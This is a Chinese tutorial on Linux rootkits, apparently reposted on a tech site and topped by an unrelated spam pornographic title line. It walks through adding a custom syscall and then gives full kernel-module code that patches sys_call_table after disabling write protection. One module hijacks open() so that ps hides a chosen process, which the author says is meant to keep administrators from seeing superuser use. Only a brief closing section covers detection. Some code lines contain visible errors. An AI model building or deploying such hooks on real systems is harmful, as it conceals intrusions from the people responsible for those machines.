自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Rootkit技術(shù)入門:從syscall到hook!

安全
本教程將重點(diǎn)介紹如何通過hooking系統(tǒng)調(diào)用來進(jìn)行這些活動。在本教程的第一部分,我們將打造自己的系統(tǒng)調(diào)用,然后打造一個(gè)hook到我們創(chuàng)建的系統(tǒng)調(diào)用上面的rootkit。在最后一部分,我們將創(chuàng)建一個(gè)rootkit來隱藏我們選擇的進(jìn)程。

一、什么是rootkit

簡單地說,rootkit是一種能夠隱身的惡意程序,也就是說,當(dāng)它進(jìn)行惡意活動的時(shí)候,操作系統(tǒng)根本感覺不到它的存在。想象一下,一個(gè)程序能夠潛入到當(dāng)前操作系統(tǒng)中,并且能夠主動在進(jìn)程列表中隱藏病毒,或者替換日志文件輸出,或者兩者兼而有之——那它就能有效地清除自身存在的證據(jù)了。此外,它還可以從受保護(hù)的內(nèi)存區(qū)域中操縱系統(tǒng)調(diào)用,或?qū)⒔涌谏系臄?shù)據(jù)包導(dǎo)出到另一個(gè)接口。本教程將重點(diǎn)介紹如何通過hooking系統(tǒng)調(diào)用來進(jìn)行這些活動。在本教程的第一部分,我們將打造自己的系統(tǒng)調(diào)用,然后打造一個(gè)hook到我們創(chuàng)建的系統(tǒng)調(diào)用上面的rootkit。在最后一部分,我們將創(chuàng)建一個(gè)rootkit來隱藏我們選擇的進(jìn)程。

rootkit

二、用戶空間與內(nèi)核空間

我們之所以上來就打造一個(gè)系統(tǒng)調(diào)用,其目的就是為了更好地理解在內(nèi)核空間與用戶空間中到底發(fā)生了些什么。在用戶空間中運(yùn)行的進(jìn)程,對內(nèi)存的訪問將受到一定限制,而在內(nèi)核空間運(yùn)行的進(jìn)程則可以訪問所有內(nèi)存空間。但是,用戶空間的代碼可以通過內(nèi)核暴露的接口來訪問內(nèi)核空間,這里的所說的接口就是系統(tǒng)調(diào)用。如果你曾經(jīng)用C語言編程,并且擺弄過Linux的話(是的,我們將用C編程,但不用擔(dān)心,因?yàn)檫@里介紹的例子會非常簡單),那么你很可能已經(jīng)用過系統(tǒng)調(diào)用了,只不過你沒有意識到罷了。read()、write()、open()就是幾個(gè)比較常見的系統(tǒng)調(diào)用,只不過我們通常都是通過諸如fopen()或fprintf()之類的庫函數(shù)來調(diào)用它們而已。

當(dāng)你以root身份運(yùn)行進(jìn)程的時(shí)候,不見得它們就會運(yùn)行在內(nèi)核空間。因?yàn)閞oot用戶進(jìn)程仍然是一個(gè)用戶空間的進(jìn)程,只不過root用戶的進(jìn)程的UID = 0,內(nèi)核驗(yàn)證過其身份后會賦予其超級用戶權(quán)限罷了。但是,即使擁有超級用戶權(quán)限,仍然需要通過系統(tǒng)調(diào)用接口才能請求內(nèi)核的各種資源。我希望大家能夠明確這一點(diǎn),這對進(jìn)一步閱讀下面的內(nèi)容非常重要。

好了,閑話少說,下面切入正題。

三、所需軟硬件

linux內(nèi)核(我使用debian的最小化安裝,內(nèi)核版本為3.16.36)

虛擬機(jī)軟件(VMware、Virtualbox、ESXi等)

我建議給VM配置2個(gè)CPU內(nèi)核,至少4GB內(nèi)存,但1核和2GB也能對付。

需要強(qiáng)調(diào)的是︰

1. 我不會對示例代碼進(jìn)行詳盡的介紹,因?yàn)榇a都自帶了注釋。這樣做好處是,可以督促讀者自行深入學(xué)習(xí)。

2. 我的VM使用的是Debian最小化安裝,因?yàn)槲野l(fā)現(xiàn)內(nèi)核的版本越舊,打造自己的系統(tǒng)調(diào)用時(shí)就越容易,這就是選擇3.16.36的原因。

3. 文中的所有命令都是以root帳戶在VM中運(yùn)行的。

四、系統(tǒng)調(diào)用:pname

啟動VM,讓我們先從一個(gè)內(nèi)核源碼開始玩起。實(shí)際上,介紹如何打造自己的系統(tǒng)調(diào)用的教程已經(jīng)有許多了。如果你想打造一個(gè)簡單的“hello world”系統(tǒng)調(diào)用的話,請參考這篇文章:https://chirath02.wordpress.com/2016/08/24/hello-world-system-call/。

通過下面的命令,獲取內(nèi)核源碼的副本,并將其解壓縮到/usr/src目錄下面:

  1. wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.16.36.tar.xz 
  2. tar -xvf linux-3.16.36.tar.xz -C /usr/src/ 
  3. cd /usr/src/linux-3.16.36 

pname (進(jìn)程名稱):

現(xiàn)在,讓我們從一個(gè)簡單的系統(tǒng)調(diào)用開始入手:當(dāng)向它傳遞一個(gè)進(jìn)程名稱時(shí),它會將該進(jìn)程對應(yīng)的PID返回到啟動該系統(tǒng)調(diào)用的終端上面。首先,創(chuàng)建目錄pname,然后通過cd命令切換到該目錄下面:

  1. mkdir pname 
  2. cd pname 
  3. nano pname.c 
  1. #include <linux/syscalls.h> 
  2. #include <linux/kernel.h> 
  3. #include <linux/sched.> 
  4. #include <linux/init.h> 
  5. #include <linux/tty.h> 
  6. #include <linux/string.h> 
  7. #include "pname.h" 
  8. asmlinkage long sys_process_name(char* process_name){ 
  9.     /*tasklist struct to use*/ 
  10.     struct task_struct *task; 
  11.     /*tty struct*/ 
  12.     struct tty_struct *my_tty; 
  13.     /*get current tty*/ 
  14.     my_tty = get_current_tty(); 
  15.     /*placeholder to print full string to tty*/ 
  16.     char name[32]; 
  17.     /*<sched.h> library method that iterates through list of processes from task_struct defined above*/ 
  18.     for_each_process(task){ 
  19.         /*compares the current process name (defined in task->comm) to the passed in name*/ 
  20.         if(strcmp(task->comm,process_name) == 0){ 
  21.             /*convert to string and put into name[]*/ 
  22.             sprintf(name, "PID = %ld\n", (long)task_pid_nr(task)); 
  23.             /*show result to user that called the syscall*/ 
  24.                         (my_tty->driver->ops->write) (my_tty, name, strlen(name)+1); 
  25.         } 
  26.     } 
  27.     return 0; 

然后,創(chuàng)建頭文件:

  1. nano pname.h 
  1. asmlinkage long sys_process_name(char* process_name); 

接下來,創(chuàng)建一個(gè)Makefile:

  1. nano Makefile 

在里面,添加如下內(nèi)容:

  1. obj-y :pname.o 

保存并退出。

將pname目錄添加到內(nèi)核的Makefile中:

回到/usr/src/linux-3.16.36目錄,并編輯Makefile

  1. cd .. 
  2. nano Makefile 

您要查找core-y += kernel/mm/fs/ipc/security/crypto/block/所在的行。

  1. cat -n Makefile | grep -i core-y 

然后

  1. nano +(line number from the cat command here) Makefile 

 

將pname目錄添加到內(nèi)核的Makefile中

將pname目錄添加到此行的末尾(不要忘記“/”):

  1. core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ pname/ 

當(dāng)我們編譯這個(gè)文件的時(shí)候,編譯器就會知道從哪里尋找創(chuàng)建新的系統(tǒng)調(diào)用所需的源文件了。

將pname和sys_process_name添加到系統(tǒng)調(diào)用表中:

請確保仍然位于/usr/src/linux-3.16.36目錄中。接下來,我們需要將新建的系統(tǒng)調(diào)用添加到系統(tǒng)調(diào)用表中。如果您使用的是64位系統(tǒng),那么它將會添加到syscall_64.tbl文件的前#300之后(將64位和32位系統(tǒng)調(diào)用隔離開來)。此前,我的64位系統(tǒng)調(diào)用最后一個(gè)是#319,所以我的新系統(tǒng)調(diào)用將是#320。如果它是一個(gè)32位系統(tǒng),那么你可以在syscall_32.tbl文件結(jié)尾處進(jìn)行相應(yīng)的編輯。

  1. nano arch/x86/syscalls/syscall_64.tbl 

添加新的系統(tǒng)調(diào)用:   

  1. 320 common pname sys_process_name 

 

將pname和sys_process_name添加到系統(tǒng)調(diào)用表中

將sys_process_name(char * process_name)添加到syscall頭文件中:

最后,頭文件必須提供我們函數(shù)的原型,因?yàn)閍smlinkage用于定義函數(shù)的哪些參數(shù)可以放在堆棧上。它必須添加到include / linux / syscalls.h文件的最底部:

  1. asmlinkage long sys_process_name(char* process_name); 

將pname和sys_process_name添加到系統(tǒng)調(diào)用表中

編譯新內(nèi)核(這個(gè)過程需要一段時(shí)間,請稍安勿躁):

這將需要很長時(shí)間,大概需要1-2小時(shí)或更多,具體取決于這個(gè)VM所擁有的資源的多寡。然后,從源代碼文件夾/usr/src/linux-3.16.36中輸入下列命令:

  1.      
  2. make menuconfig 

通過方向鍵選中保存選項(xiàng),按回車鍵,然后退出。

如果您正在運(yùn)行的虛擬機(jī)具有2個(gè)內(nèi)核,則可以使用下列命令:

  1. make -j 2 

否則的話,只需輸入下列命令即可:

  1. make 

現(xiàn)在,耐心等待它運(yùn)行結(jié)束。

安裝新編譯的內(nèi)核:

完成上述操作后(希望沒有任何錯(cuò)誤),還必須進(jìn)行安裝操作,然后重新啟動。

  1. make install -j 2 # or without -j option if not enough cores 
  2. make modules_install install 
  3. reboot 

測試新的pname系統(tǒng)調(diào)用:

還記得使用哪個(gè)數(shù)字把我們的系統(tǒng)調(diào)用中添加到系統(tǒng)調(diào)用表中的嗎?我使用的數(shù)字為320,這意味著系統(tǒng)調(diào)用號為320,同時(shí),我們必須以字符串的形式來傳遞進(jìn)程名稱。下面,讓我們測試一下這個(gè)新的系統(tǒng)調(diào)用。

  1. nano testPname.c 
  1. #include <stdio.h> 
  2. #include <linux/kernel.h> 
  3. #include <sys/syscall.h> 
  4. #include <unistd.h> 
  5. #include <string.h> 
  6. int main(){ 
  7.     char name[32]; 
  8.     puts("Enter process to find"); 
  9.     scanf("%s",name); 
  10.     strtok(name, "\n"); 
  11.     long int status = syscall(320, name); //syscall number 320 and passing in the string.  
  12.     printf("System call returned %ld\n", status); 
  13.     return 0; 
  1. gcc testPname.c -o testPname 
  2. ./testPname 

由于我使用ssh配置我的VM,我將進(jìn)入進(jìn)程sshd。我打開了另一個(gè)終端來查看所有通過sshd運(yùn)行的進(jìn)程,然后運(yùn)行該可執(zhí)行文件:

測試新的pname系統(tǒng)調(diào)用

該系統(tǒng)調(diào)用通過遍歷進(jìn)程列表發(fā)現(xiàn)了3個(gè)sshd進(jìn)程(grep sshd不是正在運(yùn)行的sshd進(jìn)程),并通過TTY將其輸出到調(diào)用它的終端上,最后成功退出(狀態(tài)值為0)。

現(xiàn)在,您已經(jīng)有權(quán)在內(nèi)核(受保護(hù)的內(nèi)存區(qū))空間中查找進(jìn)程了。這個(gè)進(jìn)程列表中,你不會發(fā)現(xiàn)這個(gè)系統(tǒng)調(diào)用——盡管它正在運(yùn)行,但你會發(fā)現(xiàn)testPname可執(zhí)行文件正在運(yùn)行:

測試新的pname系統(tǒng)調(diào)用

如何才能找到我們的新系統(tǒng)調(diào)用呢? 很簡單:使用strace工具。

  1. sudo apt-get install strace 

針對可執(zhí)行文件運(yùn)行strace時(shí),它將暫停以讀取用戶輸入(可以通過系統(tǒng)調(diào)用read()來讀入,但是需要注意的是,在我們的測試程序中使用的是來自stdio.h庫的scanf()函數(shù))。這時(shí),輸入你喜歡的任何進(jìn)程即可。

在下面,從read()系統(tǒng)調(diào)用到程序退出的代碼都進(jìn)行了突出顯示:

  1. strace ./testPname 

 

	 strace ./testPname

只要把bash的進(jìn)程名稱傳遞給strace,它就會立刻找出該進(jìn)程所使用的系統(tǒng)調(diào)用——我們的syscall_320。你也可以使用該工具來檢查我們運(yùn)行的程序用到的所有其他系統(tǒng)調(diào)用,例如mmap(內(nèi)存映射)和mprotect(內(nèi)存保護(hù))等。我建議大家逐一研究這些系統(tǒng)調(diào)用,以充分了解它們都可以做哪些事情,并仔細(xì)考慮攻擊者能夠用它們來干什么。

此后,我們將hooking系統(tǒng)調(diào)用open(),但是就目前來說,不妨先用我們的第一個(gè)rootkit來“鉤取”系統(tǒng)調(diào)用syscall_320

五、利用Rootkit“鉤取”Pname

首先要弄清楚的一件事情是,現(xiàn)在我們要以hook的形式來打造一個(gè)內(nèi)核模塊,而不是借助系統(tǒng)調(diào)用。這些模塊可以隨時(shí)通過insmod和rmmod命令(前提是您已經(jīng)獲得了相應(yīng)的權(quán)限)加載到內(nèi)存和從內(nèi)核中刪除。為了查看當(dāng)前正在運(yùn)行的所有模塊,您可以使用lsmod命令。就像我們的新程序?qū)⒊蔀橐粋€(gè)模塊一樣,從技術(shù)上講,它可以被定義為一個(gè)hook,因?yàn)槲覀儗?ldquo;hooking”到之前創(chuàng)建的pname系統(tǒng)調(diào)用上。

在研究過程中,我在https://www.quora.com/How-can-I-hook-system-calls-in-Linux發(fā)現(xiàn)了一篇非常棒的文章,它深入淺出地介紹了打造hook的方法。請選擇一個(gè)存儲hook的目錄并利用cd命令切換到這個(gè)目錄下面,這里我選擇的是root目錄。

查找sys_call_table地址:

我們首先要做的事情就是找到系統(tǒng)調(diào)用表地址,因?yàn)橐坏┱业搅诉@個(gè)地址,我們就能夠?qū)ζ溥M(jìn)行相應(yīng)的處理,進(jìn)而hook系統(tǒng)調(diào)用了。為了找到這個(gè)地址,我們只需在終端中鍵入:

  1. cat /boot/System.map-3.16.36 | grep sys_call_table 

 

查找sys_call_table地址

將這個(gè)地址復(fù)制到我們的代碼中。

注意:有許多方法可以用來動態(tài)搜索sys_call_table,我強(qiáng)烈建議您使用這些方法而不是硬編碼。然而,為了便于學(xué)習(xí),這里就不那么講究了。我打算將來編寫一個(gè)更高級的rootkit,讓它也支持動態(tài)搜索能力。如果你想提前了解這方面的知識并親自嘗試一下的話,我建議閱讀下面的文章: https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

Hook! Hook! Hook!

以下是我的captainhook.c代碼:

  1. #include <asm/unistd.h> 
  2. #include <asm/cacheflush.h> 
  3. #include <linux/init.h> 
  4. #include <linux/module.h> 
  5. #include <linux/kernel.h> 
  6. #include <linux/syscalls.h> 
  7. #include <asm/pgtable_types.h> 
  8. #include <linux/highmem.h> 
  9. #include <linux/fs.h> 
  10. #include <linux/sched.h> 
  11. #include <linux/moduleparam.h> 
  12. #include <linux/unistd.h> 
  13. #include <asm/cacheflush.h> 
  14. MODULE_LICENSE("GPL"); 
  15. MODULE_AUTHOR("D0hnuts"); 
  16. /*MY sys_call_table address*/ 
  17. //ffffffff81601680 
  18. void **system_call_table_addr; 
  19. /*my custom syscall that takes process name*/ 
  20. asmlinkage int (*custom_syscall) (char* name); 
  21. /*hook*/ 
  22. asmlinkage int captain_hook(char* play_here) { 
  23.     /*do whatever here (print "HAHAHA", reverse their string, etc) 
  24.         But for now we will just print to the dmesg log*/ 
  25.     printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!"); 
  26.     return custom_syscall(play_here); 
  27. /*Make page writeable*/ 
  28. int make_rw(unsigned long address){ 
  29.     unsigned int level; 
  30.     pte_t *pte = lookup_address(address, &level); 
  31.     if(pte->pte &~_PAGE_RW){ 
  32.         pte->pte |=_PAGE_RW; 
  33.     } 
  34.     return 0; 
  35. /* Make the page write protected */ 
  36. int make_ro(unsigned long address){ 
  37.     unsigned int level; 
  38.     pte_t *pte = lookup_address(address, &level); 
  39.     pte->ptepte = pte->pte &~_PAGE_RW; 
  40.     return 0; 
  41. static int __init entry_point(void){ 
  42.     printk(KERN_INFO "Captain Hook loaded successfully..\n"); 
  43.     /*MY sys_call_table address*/ 
  44.     system_call_table_addr = (void*)0xffffffff81601680; 
  45.     /* Replace custom syscall with the correct system call name (write,open,etc) to hook*/ 
  46.     custom_syscall = system_call_table_addr[__NR_pname]; 
  47.     /*Disable page protection*/ 
  48.     make_rw((unsigned long)system_call_table_addr); 
  49.     /*Change syscall to our syscall function*/ 
  50.     system_call_table_addr[__NR_pname] = captain_hook; 
  51.     return 0; 
  52. static int __exit exit_point(void){ 
  53.         printk(KERN_INFO "Unloaded Captain Hook successfully\n"); 
  54.     /*Restore original system call */ 
  55.     system_call_table_addr[__NR_pname] = custom_syscall; 
  56.     /*Renable page protection*/ 
  57.     make_ro((unsigned long)system_call_table_addr); 
  58.     return 0; 
  59. module_init(entry_point); 
  60. module_exit(exit_point); 

你可能已經(jīng)注意到__NR_pname,它代表數(shù)字,即pname的系統(tǒng)調(diào)用的編碼。別忘了我們已經(jīng)將該系統(tǒng)調(diào)用添加到syscall_64.tbl(tbl = table duhh)中。 我們賦予它一個(gè)數(shù)字、一個(gè)名稱和函數(shù)名。在這里,我們使用的是其名稱(pname)。它將攔截pname系統(tǒng)調(diào)用,并且每成功一次就打印一次dmesg。

創(chuàng)建Makefile:

我們必須創(chuàng)建另一個(gè)Makefile,具體方法就像我們在創(chuàng)建系統(tǒng)調(diào)用時(shí)所做的一樣,但由于這里是一個(gè)模塊,所以會有一點(diǎn)不同:

  1. nano Makefile 
  1. obj-m += captainHook.o 
  2. all: 
  3.         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 
  4. clean: 
  5.         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 

創(chuàng)建Makefile

在加載到運(yùn)行中的內(nèi)核后測試該hook:

現(xiàn)在萬事俱備,只剩下編譯了。對其進(jìn)行編譯的時(shí)候,絕對不會像編譯內(nèi)核那樣費(fèi)時(shí),因?yàn)樗皇且粋€(gè)模塊而已。為此,只需鍵入下列命令:

  1. make 

很好,你現(xiàn)在應(yīng)該多了一些其他文件,而我們想要的是.ko文件:

在加載到運(yùn)行中的內(nèi)核后測試該hook

現(xiàn)在打開另一個(gè)終端,鍵入以下命令以清除dmesg,然后插入該模塊并運(yùn)行testPname,并跟蹤其輸出:

第一個(gè)終端:

  1. dmesg -c 
  2. dmesg -wH 

第二個(gè)終端:

  1. insmod captainHook.ko 
  2. cd .. 
  3. ./testPname 
  4. rmmod captainHook 
  5. captainhookworks 

經(jīng)過一番努力,終于成功地創(chuàng)建了一個(gè)可以抓取系統(tǒng)調(diào)用(也就是rootkit)的鉤子!想象一下,如果你的__NR_ pname是__NR_open或__NR_read會怎樣? 您可以自己嘗試一下,或繼續(xù)閱讀下一部分。不過,就這一點(diǎn)來說,有很多其他教程可資利用,例如:https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/

六、對系統(tǒng)管理命令“ps”隱身

現(xiàn)在,讓我們通過編程技術(shù)來實(shí)現(xiàn)對ps命令隱藏進(jìn)程。首先,找到你想要隱藏的進(jìn)程的PID,并想清楚你想讓它偽裝成哪個(gè)進(jìn)程。就本例而言,我將用一個(gè)bash進(jìn)程給su(sudo)進(jìn)程打掩護(hù),以便系統(tǒng)管理員看不到有人正在使用超級用戶權(quán)限運(yùn)行。

注意:Linux中的一切皆文件。例如“/proc/cpuinfo”文件存放的是CPU信息,內(nèi)核版本位于“/proc/version”文件中。而“/proc/uptime”和“/proc/stat”文件則分別用來存放系統(tǒng)正常運(yùn)行時(shí)間和空閑時(shí)間。當(dāng)運(yùn)行ps命令時(shí),它實(shí)際上是打開進(jìn)程的文件,以使用open()系統(tǒng)調(diào)用查看相關(guān)信息。當(dāng)進(jìn)程首次啟動時(shí),會使用系統(tǒng)調(diào)用write()將其寫入具有相應(yīng)PID#的文件中。針對ps命令運(yùn)行strace就能查找它們,或者查看它使用了哪些系統(tǒng)調(diào)用。

這里,我們將使用captainHook.c作為樣板:

  1. nano phide.c 
  1. #include <asm/unistd.h> 
  2. #include <asm/cacheflush.h> 
  3. #include <linux/init.h> 
  4. #include <linux/module.h> 
  5. #include <linux/kernel.h> 
  6. #include <linux/syscalls.h> 
  7. #include <asm/pgtable_types.h> 
  8. #include <linux/highmem.h> 
  9. #include <linux/fs.h> 
  10. #include <linux/sched.h> 
  11. #include <linux/moduleparam.h> 
  12. #include <linux/unistd.h> 
  13. #include <asm/cacheflush.h> 
  14. MODULE_LICENSE("GPL"); 
  15. MODULE_LICENSE("D0hnuts"); 
  16. /*MY sys_call_table address*/ 
  17. //ffffffff81601680 
  18. void **system_call_table_addr; 
  19. asmlinkage int (*original_open)(const char *pathname, int flags); 
  20. asmlinkage int open_hijack(const char *pathname, int flags) { 
  21.     /*This hooks all  OPEN sys calls and check to see what the path of the file being opened is 
  22.     currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate*/ 
  23.     if(strstr(pathname, "/proc/2793/status") != NULL) { 
  24.         printk(KERN_ALERT "PS PROCESS HIJACKED %s\n", pathname); 
  25.     //The new process location will be written into the syscall table for the open command, causing it to open a different file than the one originaly requested 
  26.         memcpy(pathname, "/proc/2794/status", strlen(pathname)+1); 
  27.     } 
  28.     return (*original_open)(pathname, flags); 
  29. //Make syscall table  writeable 
  30. int make_rw(unsigned long address){ 
  31.         unsigned int level; 
  32.         pte_t *pte = lookup_address(address, &level); 
  33.         if(pte->pte &~_PAGE_RW){ 
  34.                 pte->pte |=_PAGE_RW; 
  35.         } 
  36.         return 0; 
  37. // Make the syscall table  write protected 
  38. int make_ro(unsigned long address){ 
  39.         unsigned int level; 
  40.         pte_t *pte = lookup_address(address, &level); 
  41.         pte->ptepte = pte->pte &~_PAGE_RW; 
  42.         return 0; 
  43. static int __init start(void){ 
  44.         system_call_table_addr = (void*)0xffffffff81601680; 
  45.     //return the system call to its original state 
  46.         original_open = system_call_table_addr[__NR_open]; 
  47.         //Disable page protection 
  48.         make_rw((unsigned long)system_call_table_addr); 
  49.         system_call_table_addr[__NR_open] = open_hijack; 
  50.         printk(KERN_INFO "Open psHook loaded successfully..\n"); 
  51.     return 0; 
  52. static int __exit end(void){ 
  53.         //restore original system call 
  54.         system_call_table_addr[__NR_open] = original_open; 
  55.         //Enable syscall table  protection 
  56.         make_ro((unsigned long)system_call_table_addr); 
  57.     printk(KERN_INFO "Unloaded Open psHook successfully\n"); 
  58.         return 0; 
  59. module_init(start); 
  60. module_exit(end); 

復(fù)制前面使用的Makefile,同時(shí)將頂部的"captainHook.o"替換為“phide.o”。

然后,輸入下列命令

  1. make 

以及

  1. insmod phide.ko (一定別忘了使用dmesg命令) : 

 

對系統(tǒng)管理命令“ps”隱身

如您所見,這里成功實(shí)現(xiàn)了隱身!除此之外,還可以使用這里介紹的方法來隱藏多個(gè)進(jìn)程。

七、如何防御?

你可能注意到了,我這里只是使用另一個(gè)正在運(yùn)行的進(jìn)程來隱藏我們的進(jìn)程。所以在PS表中會有重復(fù)的PID。這很容易被發(fā)現(xiàn),但有一些方法可以完全隱藏它,我計(jì)劃在未來的rootkit文章中加以介紹。

記得早些時(shí)候我提到的lsmod命令嗎? 它就可以列出在內(nèi)核上運(yùn)行的模塊,效果具體如下圖所示。

lsmod命令以列出在內(nèi)核上運(yùn)行的模塊

要想查看所有模塊,可以使用:

  1. cat/proc/modules 

因?yàn)閞ootkits通常在內(nèi)存中待命,所以最好使用一個(gè)可以主動尋找rootkit的程序,例如:

  1. kbeast – https://volatility-labs.blogspot.ca/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html 
  2. chkroot – http://www.chkrootkit.org/ 
  3. kernel check – http://la-samhna.de/library/kern_check.c 

 

[[180595]]

 

八、結(jié)束語

我們希望本文能夠幫您了解系統(tǒng)調(diào)用、內(nèi)核空間和用戶空間方面的相關(guān)知識。最重要的是,通過閱讀本文,可以讓您意識到鉤住系統(tǒng)調(diào)用其實(shí)非常簡單的事情,同時(shí),也讓您意識到只需少的可憐的編程技巧就足以讓你為所欲為。當(dāng)然,還有一些非常先進(jìn)的rootkits類型,我們將后續(xù)的文章中陸續(xù)加以介紹。在下一篇文章中,我們介紹如何在無需查找PID的情況下隱藏進(jìn)程。

責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2019-04-11 15:45:08

ReactMixin前端

2017-06-26 09:15:39

SQL數(shù)據(jù)庫基礎(chǔ)

2012-11-27 15:41:41

2020-04-10 15:05:09

深度學(xué)習(xí)人工智能蒸餾

2012-02-29 00:49:06

Linux學(xué)習(xí)

2025-02-24 10:07:10

2013-06-06 13:42:48

OSPF入門配置

2010-02-06 15:31:18

ibmdwAndroid

2009-07-22 14:55:16

ibmdwAndroid

2021-02-21 22:53:01

CanvasHTML5JavaScript

2021-09-01 22:58:22

Canvas標(biāo)簽

2019-07-02 14:17:18

API網(wǎng)關(guān)網(wǎng)關(guān)流量

2016-12-08 22:39:40

Android

2017-05-09 08:48:44

機(jī)器學(xué)習(xí)

2022-10-20 08:02:29

ELFRTOSSymbol

2022-06-10 08:17:52

HashMap鏈表紅黑樹

2012-11-27 15:46:51

堆棧溢出

2012-11-27 16:03:00

堆棧溢出

2020-06-04 12:15:37

Go內(nèi)存池對象池

2010-01-14 20:57:59

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號